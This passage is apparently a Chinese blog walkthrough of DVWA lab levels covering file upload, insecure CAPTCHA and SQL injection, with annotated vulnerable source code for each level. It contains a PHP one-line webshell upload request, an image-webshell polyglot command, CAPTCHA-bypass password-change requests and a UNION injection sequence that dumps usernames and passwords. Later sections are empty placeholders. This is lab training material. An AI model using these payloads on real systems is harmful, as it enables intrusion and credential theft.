// 尝试将临时文件移动到目标位置
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 文件上传失败提示
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// 文件上传成功提示
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

Medium

条件:

限制文件类型为png或jpeg并且限制内容长度

解法:

这个是在前端对上传类型做限制因此我们bp抓包后再修改文件类型即可

1
2
3
4
5
6
POST /vulnerabilities/upload/ HTTP/1.1
------WebKitFormBoundaryRfOof3XDotXsU72V
Content-Disposition: form-data; name="uploaded"; filename="key1.php"
Content-Type: image/png
<?eval($_POST[1]);
------WebKitFormBoundaryRfOof3XDotXsU72V

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 构建上传目标路径(使用basename防止路径遍历攻击)
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// 获取上传文件信息(客户端可伪造)
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 原始文件名
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // MIME类型(不可信)
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小

// 文件类型验证(存在严重安全缺陷):
// 1. 依赖客户端提供的MIME类型(可被绕过)
// 2. 无内容验证(仅检查HTTP头部)
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// 移动上传文件(存在任意文件上传漏洞风险)
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 文件存储失败
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// 上传成功(可被用于上传恶意文件)
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// 验证失败(暴露文件类型限制)
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

High

条件:

新增检查文件头 文件名

解法:

对文件后缀卡死只能上传图片马后利用文件包含的漏洞了(单纯文件上传已经做不到了)

图片头尾做好里面内容还是放一句话木马,后缀.png直接传,然后在文件包含那里包含一下即可,include遇到PHP代码会执行的

1
copy example.png/b+hack.php/a hack.png

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 构建上传目标路径(使用basename过滤路径遍历攻击)
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// 提取上传文件关键参数:
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 原始文件名
// 获取文件扩展名(存在伪造风险)
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);#最后一个点的后面内容作为扩展名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 临时存储路径

// 文件类型验证(存在安全缺陷):
// 1. 验证扩展名(可绕过)
// 2. 限制大小(100KB)
// 3. getimagesize()验证图片头(可被伪造)
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// 移动上传文件(存在路径遍历风险)
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// 文件移动失败
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// 文件上传成功(但未重命名,存在覆盖风险)
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// 文件验证失败(提示信息暴露限制条件)
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

Impossible

防御手段:

  • 随机化文件名(防止路径遍历和文件名冲突)
  • 双重验证(扩展名、MIME类型、图片大小)
  • 二次渲染(避免图片中隐藏恶意代码)
  • 使用rename而非直接移动上传文件(因为已经重新生成图片,所以文件已不是原始上传文件)
  • 文件扩展名和MIME类型白名单

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// 验证CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取上传文件信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// 设置文件上传路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
// 生成唯一文件名
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// 设置临时文件路径
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// 验证文件类型和大小
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// 重新处理图片文件
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// 将文件移动到目标位置
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// 显示上传成功消息
echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
}
else {
// 显示上传失败消息
echo '<pre>Your image was not uploaded.</pre>';
}

// 清理临时文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// 显示文件验证失败消息
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// 生成新的CSRF令牌
generateSessionToken();

?>

不安全的验证码(Insecure CAPTCHA)

若显示配置文件中缺少 reCAPTCHA API 密钥

请访问https://www.google.com/recaptcha/admin注册Captcha

5a4f9eefc11c7d315346eb19362f09b7.png

获得密钥

d78d165f4861ed7c24c2c60c0dd536de.png

把密钥复制到DVWA-2.5/config/config.inc.php中即可

1.png

Low

条件:

POST传参step代表步骤数,1是在过验证码,2是修改密码

解法:

直接BP抓包修改step值为2即可绕过验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.3.123:6123
Content-Length: 55
Cache-Control: max-age=0
Origin: http://192.168.3.123:6123
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.3.123:6123/vulnerabilities/captcha/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=low; PHPSESSID=7q4quk0lsphgghn3q35dtlnftl
Connection: close

step=2&password_new=111&password_conf=111&Change=Change

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// 隐藏表单
$hide_form = true;

// 获取新密码输入
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 验证reCAPTCHA响应
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// 检查CAPTCHA验证结果
if( !$resp ) {
// CAPTCHA验证失败处理
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// 检查新密码是否匹配
if( $pass_new == $pass_conf ) {
// 显示二次确认表单
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// 密码不匹配处理
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// 隐藏表单
$hide_form = true;

// 获取密码输入
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 再次检查密码是否匹配
if( $pass_new == $pass_conf ) {
// 处理新密码
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 更新数据库密码
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 显示密码更改成功
echo "<pre>Password Changed.</pre>";
}
else {
// 显示密码不匹配
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium

条件:

增加了参数passed_capt,为true时允许修改密码

解法:

同上抓包修改即可

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// 隐藏表单(进入CAPTCHA验证流程)
$hide_form = true;

// 获取用户输入的新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 验证reCAPTCHA(关键安全防护)
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ], // 使用服务端私钥验证
$_POST['g-recaptcha-response'] // 客户端提交的验证码响应
);

// CAPTCHA验证失败处理
if( !$resp ) {
// 验证码错误(阻止自动化攻击)
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false; // 重新显示表单
return;
}
else {
// CAPTCHA验证成功(继续密码修改流程)
if( $pass_new == $pass_conf ) {
// 显示二次确认界面(安全设计)
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <!-- 安全标记:已通过验证码 -->
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// 密码不匹配(客户端验证失败)
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false; // 重新显示表单
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// 隐藏表单(最终确认阶段)
$hide_form = true;

// 获取隐藏字段中的密码值
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 验证是否通过第一阶段验证(安全控制点)
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false; // 重新显示表单
return;
}

// 再次验证密码匹配(防御中间篡改)
if( $pass_new == $pass_conf ) {
// 密码处理(存在安全缺陷):
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // 使用不安全的MD5哈希

// 执行SQL更新(高危:未使用预处理语句)
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
// 错误处理泄露数据库信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 成功反馈
echo "<pre>Password Changed.</pre>";
}
else {
// 密码不匹配(可能被篡改)
echo "<pre>Passwords did not match.</pre>";
$hide_form = false; // 重新显示表单
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

High

条件:

验证过程不再分步,再次添加参数验证要求

        $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'  // 硬编码密钥
        && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'     // 特定User-Agent

解法:

1
2
3
4
5
6
POST /vulnerabilities/captcha/ HTTP/1.1
Host: 192.168.3.123:6123
User-Agent: reCAPTCHA
Cookie: PHPSESSID=mm8rugqi3lppj7n89krs00qgi3; security=high

step=2&password_new=123456&password_conf=123456&g-recaptcha-response=hidd3n_valu3&user_token=3e79dca7f27f7ecf35dc165f2a5ae9a7&Change=change

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// 隐藏表单(安全措施)
$hide_form = true;

// 获取用户输入的新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// 验证reCAPTCHA
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ], // 服务端私钥
$_POST['g-recaptcha-response'] // 客户端验证码响应
);

// CAPTCHA验证逻辑:
if (
$resp || // 正常验证通过
// 后门条件(严重安全漏洞):
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' //
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' //
)
){
// 密码匹配检查
if ($pass_new == $pass_conf) {
// 密码处理(双重安全缺陷):
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // 使用不安全的MD5哈希

// 执行SQL更新
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
// 错误处理泄露数据库结构
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 成功反馈
echo "<pre>Password Changed.</pre>";

} else {
// 密码不匹配
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false; // 重新显示表单
}

} else {
// CAPTCHA验证失败
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false; // 重新显示表单
return;
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// 生成CSRF令牌
generateSessionToken();

?>

Impossible

防御手段:

Anti-CSRF token验证 PDO防御SQL 验证过程不分步 旧密码验证

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// 检查CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 隐藏表单
$hide_form = true;

// 处理新密码输入
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// 处理确认密码输入
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

// 处理当前密码输入
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// 验证reCAPTCHA响应
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// 检查CAPTCHA验证结果
if( !$resp ) {
// CAPTCHA验证失败处理
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// 验证当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// 检查密码修改条件
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// 更新数据库密码
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// 显示成功消息
echo "<pre>Password Changed.</pre>";
}
else {
// 显示失败消息
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// 生成新的CSRF令牌
generateSessionToken();

?>

SQL注入(SQL Injection)

关于注入时遇到的错误Illegal mix of collations for operation ‘UNION‘

在DVWA-2.5\dvwa\includes\DBMS\MySQL.php文件中搜索$create_db

$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]};";修改为

$create_db = "CREATE DATABASE {$_DVWA[ 'db_database' ]} COLLATE utf8_general_ci;";

随后回到靶场地址/setup.php下点击按钮Create / Reset Database重新创建数据库即可解决

Low

条件:

无任何防御

解法:

采用SQL注入常规做法(联合注入)[请参考我SQL注入那篇文章SQL | Nanian233🍊’s Blog]

  1. 找闭合符号(单引号1’)
  2. 判断列数order by 3 #报错证明是2列
  3. 爆库1' union select 1,database() #
  4. 爆表1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
  5. 爆字段1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
  6. 爆字段数据1' union select group_concat(user),group_concat(password) from users #

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取用户输入的ID
$id = $_REQUEST[ 'id' ];

// 根据数据库类型执行不同操作
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 构建SQL查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 执行SQL查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 处理查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

// 关闭MySQL数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
// 使用全局SQLite数据库连接
global $sqlite_db_connection;

// 构建SQLite查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

try {
// 执行SQLite查询
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
// 捕获并显示异常
echo 'Caught exception: ' . $e->getMessage();
exit();
}

// 处理查询结果
if ($results) {
while ($row = $results->fetchArray()) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
// 显示查询错误
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

Medium

条件:

GET改POST提交,使用了转义(没卵用)

解法:

同Low

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入的ID
$id = $_POST[ 'id' ];

// 对输入进行转义处理
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

// 根据数据库类型执行不同操作
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 构建SQL查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// 执行SQL查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// 处理查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
// 使用全局SQLite数据库连接
global $sqlite_db_connection;

// 构建SQLite查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

try {
// 执行SQLite查询
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
// 捕获并显示异常
echo 'Caught exception: ' . $e->getMessage();
exit();
}

// 处理查询结果
if ($results) {
while ($row = $results->fetchArray()) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
// 显示查询错误
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

// 用于后续页面显示的用户总数查询
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 获取用户总数
$number_of_rows = mysqli_fetch_row( $result )[0];

// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

High

条件:

使用了session 获取id 值

解法:

同Low

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// 获取用户ID
$id = $_SESSION[ 'id' ];

// 根据数据库类型执行不同操作
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 构建SQL查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 执行SQL查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// 处理查询结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

// 关闭MySQL数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
// 使用全局SQLite数据库连接
global $sqlite_db_connection;

// 构建SQLite查询语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

try {
// 执行SQLite查询
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
// 捕获并显示异常
echo 'Caught exception: ' . $e->getMessage();
exit();
}

// 处理查询结果
if ($results) {
while ($row = $results->fetchArray()) {
// 从结果行获取数据
$first = $row["first_name"];
$last = $row["last_name"];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
// 显示查询错误
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

Impossible

防御手段:

anti-CSRF token验证,检查id内容必须为整数, 使用prepare 预处理语句防止 SQL 注入。

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// 验证CSRF令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入的ID
$id = $_GET[ 'id' ];

// 检查输入是否为数字
if(is_numeric( $id )) {
// 将输入转换为整数
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 使用预处理语句查询数据库
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
// 绑定参数
$data->bindParam( ':id', $id, PDO::PARAM_INT );
// 执行查询
$data->execute();
// 获取结果行
$row = $data->fetch();

// 确保只返回一个结果
if( $data->rowCount() == 1 ) {
// 从结果行获取数据
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
// 使用全局SQLite数据库连接
global $sqlite_db_connection;

// 准备SQLite查询语句
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
// 绑定参数
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
// 执行查询
$result = $stmt->execute();
// 完成查询处理
$result->finalize();

if ($result !== false) {
// 获取结果列数
$num_columns = $result->numColumns();
// 检查列数是否符合预期
if ($num_columns == 2) {
// 获取结果行
$row = $result->fetchArray();

// 从结果行获取数据
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// 显示查询结果
echo "<pre>ID: {$id}<br />First name: {$fi

SQL盲注(SQL Injection Blind)

Low

条件:

解法:

题目源码:

1

Medium

条件:

解法:

题目源码:

1

High

条件:

解法:

题目源码:

1

Impossible

防御手段:

题目源码:

1

弱会话(Weak Session IDs)

Low

条件:

解法:

题目源码:

1

Medium

条件:

解法:

题目源码:

1

High

条件:

解法:

题目源码:

1

Impossible

防御手段:

题目源码:

1

参考

